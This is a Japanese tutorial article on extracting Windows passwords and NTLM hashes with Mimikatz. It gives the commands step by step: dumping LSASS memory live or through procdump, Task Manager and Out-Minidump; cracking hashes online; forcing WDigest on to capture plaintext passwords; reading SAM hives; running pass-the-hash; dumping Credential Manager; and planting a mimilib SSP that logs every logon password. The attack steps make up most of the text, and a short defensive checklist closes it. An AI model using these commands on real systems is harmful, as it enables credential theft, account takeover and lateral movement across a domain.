Windows Server
 Computer >> コンピューター >  >> システム >> Windows Server

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

本記事はWindowsセキュリティシリーズの一環として執筆されたもので、Mimikatzというツールを使用して、アクティブなすべてのWindowsユーザーのパスワードを取得する、非常にシンプルな手法を解説します。

Mimikatz.exeは、Windowsのメモリから平文のパスワードやパスワードハッシュ、Kerberosチケットなどを抽出できるツールです。また、pass-the-hash攻撃やpass-the-ticket攻撃の実行、Golden Kerberosチケットの生成にも利用できます。Mimikatzの機能はMetasploit Frameworkからも利用可能です。

MimikatzはGitHubリポジトリ(https://github.com/gentilkiwi/mimikatz/releases/)からダウンロードできます。ダウンロードしたmimikatz_trunk.zipをC:\Tools\mimikatzに展開すると、x64版とx86版の2つの実行ファイルが生成されます。お使いのWindows環境に合ったビット数のバージョンを使用してください。

本記事では、mimikatzを使ってWindows Server 2016またはWindows 10上のユーザーパスワードを取得する手順を紹介します。

免責事項:本記事で紹介する情報および技術は、あくまで情報提供とセキュリティ教育を目的としたものです。第三者のアカウント、データ、システムへの不正アクセスには絶対に使用しないでください。

LSASS内のWindowsパスワードハッシュをMimikatzでダンプする

ここでは、Windows Server 2016が稼働するRDSサーバーを例に、ログイン中の全ユーザーのパスワードハッシュをWindowsのメモリ(lsass.exeプロセス=Local Security Authority Subsystem Service)からダンプしてみましょう。

管理者権限で昇格したコマンドプロンプトを開き、以下の手順を実行します。

  1. Mimikatz.exeを管理者として起動します。
  2. 次のコマンドで、現在のアカウントにプロセスデバッグ権限(SeDebugPrivilege)を付与します。
    privilege::debug
  3. アクティブなユーザーセッションを一覧表示します。
    sekurlsa::logonPasswords full
  4. この例では、サーバー上に私のアカウントのほかに、novachadministratorという2人のユーザーのアクティブなセッションが存在します。
  5. それぞれのNTLMハッシュ(スクリーンショットで強調表示されている箇所)をコピーします。
    【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

mimikatzは対話的に操作せず、コマンドモードで一括実行することもできます。ユーザーのパスワードハッシュを自動的に取得し、テキストファイルへエクスポートするには、次のコマンドを使用します。

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt

取得したNTLMハッシュは、オフラインツール(Kali Linuxに含まれるhashcatなど)やオンラインサービスを使って解析できます。ここでは https://crackstation.net/ を利用してみます。

ご覧のとおり、このサービスはNTLMハッシュの値を瞬時に特定し、平文のパスワードを復元しました。

これが同時接続ユーザーが多数いるRDSホストで、しかもエンタープライズ管理者のセッションが開かれていたと想像してください。つまり、そのサーバーに対してローカル管理者権限を持っていれば、ドメイン管理者のパスワードすら取得できてしまうのです。

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

もちろん、複雑なパスワードを設定していれば復号ははるかに困難になります。そのため、GPOで常にパスワードの複雑性要件を有効化し、ADドメイン内のパスワード強度を定期的に監査することが重要です。

このコマンドが成功したのは、対象コンピューターでデバッグモードが有効になっており、目的のプロセスにSeDebugPrivilegeフラグを設定できるためです。このモードでは、SYSTEM権限で起動されたプロセスのメモリに低レベルでアクセスすることが可能になります。

補足:2017年6月には、NotPetyaランサムウェアが多くの国の大企業に感染し、内蔵されたmimikatzモジュールを使って一般ユーザーやドメイン管理者のパスワードを収集しました。

Windowsのメモリダンプからユーザーのパスワードを取得する方法

前述の方法は、インジェクションをブロックするアンチウイルスが導入されている環境では機能しません。その場合は、ターゲットホスト上でLSASSプロセスのメモリダンプを作成し、それを自分のマシンに持ち帰ってmimikatzで解析する必要があります。

Windowsではプロセスのメモリダンプを簡単に作成できます。タスクマネージャーを起動し、lsass.exeプロセスを見つけて右クリックし、「ダンプ ファイルの作成」を選択します。

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

Windowsはメモリダンプをsystem32フォルダーに保存します。あとはダンプファイルをmimikatzで解析するだけです(この作業は別のコンピューター上で行うこともできます)。以下のようにダンプを読み込みます。

Mimikatz "sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP"

続いて、ダンプからユーザー名とパスワードハッシュを抽出します。

# sekurlsa::logonPasswords

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

管理者権限を持っている場合、psexecやWinRM経由でリモートコンピューターからメモリダンプを取得し、そこからユーザーのパスワードを抜き出すことも可能です。

Sysinternalsのprocdumpツールを使ってダンプを取得することもできます。

procdump -ma lsass.exe lsass.dmp

また、PowerShellのOut-Minidump.ps1関数を使ってもLSASSプロセスのメモリダンプを取得できます。関数をPowerShellセッションにインポートして実行します。

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

hiberfil.sysや仮想マシンのページファイルからパスワードを抽出する

メモリダンプファイル以外にも、システムの休止状態ファイル(hiberfil.sys)や仮想マシンの.vmemファイル(ページングファイルやスナップショット)からもユーザーのパスワードを抽出できます。

そのために必要なのは、Debugging Tools for Windows(WinDbg)mimikatz本体、そして.vmemファイルをメモリダンプ形式に変換するツール(Hyper-Vならvm2dmp.exe、VMwareのvmemファイルならMoonSols Windows Memory Toolkitなど)です。

たとえば、VMware仮想マシンのvmemページファイルをダンプ形式に変換するには、次のコマンドを使用します。

bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp

変換したダンプをWinDbgに読み込み(File → Open Crash Dump)、mimikatzのライブラリmimilib.dllをロードします。

.load mimilib.dll

ダンプ内でlsass.exeプロセスを検索します。

!process 0 0 lsass.exe

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

最後に、以下のコマンドを入力します。

.process /r /p fffffa800e0b3b30
!mimikatz

結果として、Windowsユーザーの一覧と、各ユーザーのパスワードのNTLMハッシュ、さらには平文のパスワードまで取得できます。

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

WDigestを利用して平文のWindowsパスワードを抽出する

旧バージョンのWindowsでは、HTTPダイジェスト認証にWDigestプロトコルが使用されていました。このプロトコル最大のセキュリティ上の欠陥は、パスワードのハッシュではなく平文のパスワードをそのままメモリに保存する点です。Mimikatzを使えば、LSASS.EXEプロセスのメモリからこれらのパスワードを抽出できます。

WDigestプロトコルは、Windows 10やWindows Server 2016/2019を含む新しいバージョンのWindowsではデフォルトで無効化されていますが、完全に削除されたわけではありません。ローカル管理者権限があれば、WDigestを有効化し、ユーザーがログオンするのを待ってパスワードを盗み出すことが可能です。

まず、レジストリでWDigestを有効にします。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

グループポリシー設定を更新します。

gpupdate /force

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

ユーザーがログオンした後、mimikatzでパスワードを取得します(Windows 10の場合は再ログオンが必要ですが、Windows Server 2016では画面ロック後のセッション解除だけで十分です)。

privilege::debug
sekurlsa::wdigest

wdigestセクションに、ユーザーの平文パスワードが表示されているのが確認できます。

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

SAMからローカルユーザーのパスワードハッシュを抽出する

mimikatzを使えば、組み込みAdministratorアカウントを含むローカルユーザーのパスワードハッシュをSAMから抽出できます。

privilege::debug
token::elevate
lsadump::sam

また、レジストリのSAMハイブから直接NTLMハッシュを取り出すことも可能です。

  1. SYSTEMおよびSAMのレジストリハイブをファイルにエクスポートします。
    reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv

    【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法
  2. 次にMimikatzでパスワードハッシュをダンプします。
    privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

MimikatzによるPass-the-Hash攻撃の実行

ユーザーが強力なパスワードを使用しており、NTLMハッシュを短時間で復号できない場合は、Mimikatzでpass-the-hash(ハッシュ再利用)攻撃を実行できます。この手法では、ハッシュを使ってターゲットユーザーの権限でプロセスを起動できます。たとえば、あるユーザーのNTLMハッシュを取得した後、次のコマンドでそのアカウント下のコマンドプロンプトを起動できます。

privilege::debug
sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

また、Invoke-TheHashツールを使用すれば、NTLM認証情報を再利用してリモートコンピューター上でコマンドを実行することもできます。

Windows資格情報マネージャーからパスワードをダンプする

Windowsでは、資格情報マネージャー(Credential Manager)にパスワードを保存できます。保存されるのは、リモートコンピューターやWebサイトへのアクセス用パスワード、TERMSRV/hostname1形式のRDP接続情報などです。Mimikatzを使えば、資格情報マネージャーからこれらのパスワードを取り出して表示できます。

privilege::debug
sekurlsa::credman

credmanセクションに、保存されたパスワードが表示されます。

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

なお、Windowsの自動ログオン用パスワードはレジストリに平文で保存されていますし、保存済みのWi-Fiパスワードも簡単に抜き出せます。

追加SSPプロバイダーによる平文ログオンパスワードのダンプ

Windowsからパスワードをダンプするもう一つの興味深い方法が、mimikatzが提供する追加のSSP(Security Support Provider)を利用する手法です。

  1. Mimikatzのライブラリファイルmimilib.dllをC:\Windows\System32\フォルダーにコピーします。
  2. 次のコマンドで追加のSSPプロバイダーを登録します。
    reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
  3. 以降、ユーザーがWindowsにログオンするたびに、そのパスワードがkiwissp.logファイルに書き込まれます。PowerShellで全パスワードを表示できます。
    Get-Content C:\Windows\System32\kiwissp.log

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

認証情報ダンプ攻撃からWindowsを守る防御策

Windows 8.1およびWindows Server 2012 R2以降では、LSASSからのパスワード窃取が制限されています。これらのバージョンでは、デフォルトでLMハッシュとパスワードがメモリに保存されません。

同じ機能は旧バージョン(Windows 7/8/2008 R2/2012)にもバックポートされており、特別な更新プログラムKB2871997(システムのセキュリティを強化するその他のオプションも提供)を適用し、レジストリキーHKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigestのDWORD値UseLogonCredential0(WDigest無効化)に設定する必要があります。

この更新プログラムとUseLogonCredentialキーを設定した後にメモリからパスワードを抽出しようとしても、mimikatzはcreds_wdigestコマンドでパスワードやハッシュをダンプできなくなります。

【徹底解説】Mimikatzを使ってWindowsメモリからユーザーのパスワードを抽出する方法

ただし、先ほど示したように、ローカル管理者権限を持っていれば、このレジストリキーを脆弱な値に簡単に戻すことができ、再びLSAメモリ内のパスワードへアクセスできてしまいます。

mimikatzには他にも多数のパスワード・ハッシュ取得手段(WDigest、LMハッシュ、NTLMハッシュ、Kerberosチケット捕捉モジュールなど)が存在するため、以下のようなセキュリティ対策の実装を推奨します。

  • 「可逆的な暗号化を使用してパスワードを保存する」を無効化する
  • WDigestを無効化する
  • 資格情報マネージャーへのパスワード保存を禁止する
  • NTLMを無効化する
  • ドメインユーザーの資格情報キャッシュを制限する(レジストリのCachedLogonsCountパラメーター、またはグループポリシーの「対話型ログオン:以前のログオンをキャッシュする回数」を使用)
  • ドメインの機能レベルがWindows Server 2012 R2以降であれば、管理者アカウントを特別なProtected Usersグループに追加する。これにより、該当ユーザーのNTLMハッシュは生成されなくなる
  • LSAプロセス保護を有効化する:reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f(Microsoft署名済みプロセスのみLSASSメモリへのアクセスを許可。GPO経由でドメイン全体に展開可能)
  • Credential Guardを使用してLSAプロセスの内容を保護する
  • ローカル管理者であってもデバッグ権限を取得できないようにする:GPO → Windowsの設定 → セキュリティの設定 → ローカルポリシー → ユーザー権利の割り当て → プログラムのデバッグ(ただし、LocalSystem権限があれば回避される可能性がある点に注意)

ヒント:Windowsのメモリからパスワードやハッシュを抽出されないようにする詳細な対策については、「Windowsドメインにおけるmimikatzへの防御手法」に関する記事も参考にしてください。

まとめ:押さえておきたいセキュリティの基本原則

最後に、重要なセキュリティ概念を改めて整理します。

  • 異なるサービス間で同じパスワードを使い回さない(特に、第三者が管理するRDP/RDSホストへのアクセス用パスワードは要注意)
  • クラウド上の仮想マシンに保存するパスワードやデータのセキュリティについて考慮する。VMファイルが置かれたハイパーバイザーやストレージに、他に誰がアクセスできるのか保証できないためである
  • グローバルまたはローカル管理者権限を持つアカウント数を最小限に抑える(「Windows環境における管理者アカウントの保護」ガイド参照)
  • ドメイン管理者アカウントで、他のユーザーがアクセスできるサーバーやコンピューターにログオンしない
  1. Windows 10でユーザーによるデスクトップアイコンの変更を禁止する方法

    Windows 10でユーザーによるデスクトップアイコンの変更を禁止する: 通常、Windows 10ではデスクトップアイコンの設定から誰でも自由にアイコンを変更できます。しかし、職場のノートパソコンなど複数人で使うPCでは、他のユーザーに設定を勝手に変更されると、デスクトップが乱されて重要なデータの管理にも支障が出ることがあります。そこで本記事では、Windows 10でユーザーによるデスクトップアイコンの変更を禁止する方法を詳しく解説します。ロック機能だけでは防ぎきれない誤操作からPCを守りたい場合に、この設定は非常に役立ちます。 作業を始める前に、必要なアイコンをあらかじめデスクトップ

  2. PCUnlockerでWindows 10のパスワードをリセット・回復する方法【完全ガイド】

    コンピューターの安全を守るためには、パスワードの設定が非常に重要です。許可なく第三者がPCにアクセスしたり使用したりすることを防ぐことができます。しかし、自分で設定したパスワードを忘れてしまったらどうなるでしょうか。パスワードの入力がPCへのアクセス手段となるため、所有者本人さえもログインできなくなってしまいます。 とはいえ、最近のWindows OSにはさまざまな便利な機能が備わっているため、パスワードを忘れた場合でも対処できることがあります。例えば、ロック画面からパスワードを回復できますが、これは新しいバージョンのWindowsを使用しており、オンラインでパスワードを保存しているMicro